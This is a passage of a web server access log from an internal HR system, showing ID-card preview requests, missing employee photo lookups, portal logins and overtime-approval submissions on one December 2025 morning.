HTTP/1.1" 200 25006 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js HTTP/1.1" 200 25006 192.168.11.146 - - [04/Dec/2025:11:14:04 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:14:04 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:14:04 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:14:04 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:14:06 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:14:06 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:14:06 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:14:06 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:14:08 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:14:08 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:14:08 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:14:08 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:16 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7948 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:17:16 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7948 192.168.11.146 - - [04/Dec/2025:11:17:16 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:17:16 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:16 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:17:16 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:19 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:19 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:19 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:19 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:22 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:22 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:22 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:22 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:29 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:29 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:29 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:29 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:29 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:29 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:29 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:29 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:32 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:32 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:32 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:32 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:41 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7948 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:17:41 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7948 192.168.11.146 - - [04/Dec/2025:11:17:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:17:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:17:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:45 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:45 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:45 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:45 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:48 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:48 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:48 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:48 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:55 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:55 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:55 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:55 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:17:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:17:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:18:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:18:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:18:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [04/Dec/2025:11:18:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 100.64.0.1 - - [04/Dec/2025:11:37:00 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [04/Dec/2025:11:37:00 +0800] "\x03" 501 203 192.168.139.16 - - [04/Dec/2025:11:43:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:11:43:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:11:43:10 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:11:43:10 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:11:43:11 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:11:43:11 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:11:58:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:11:58:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:11:58:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:11:58:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [04/Dec/2025:11:58:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:11:58:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.40.34 - - [04/Dec/2025:12:03:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [04/Dec/2025:12:03:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [04/Dec/2025:12:03:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.34 - - [04/Dec/2025:12:03:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 63357 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 63357 192.168.40.34 - - [04/Dec/2025:12:03:13 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:13 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132724%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132724&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132724%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132724&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:15 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:15 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132725%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132725&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132725%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132725&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - 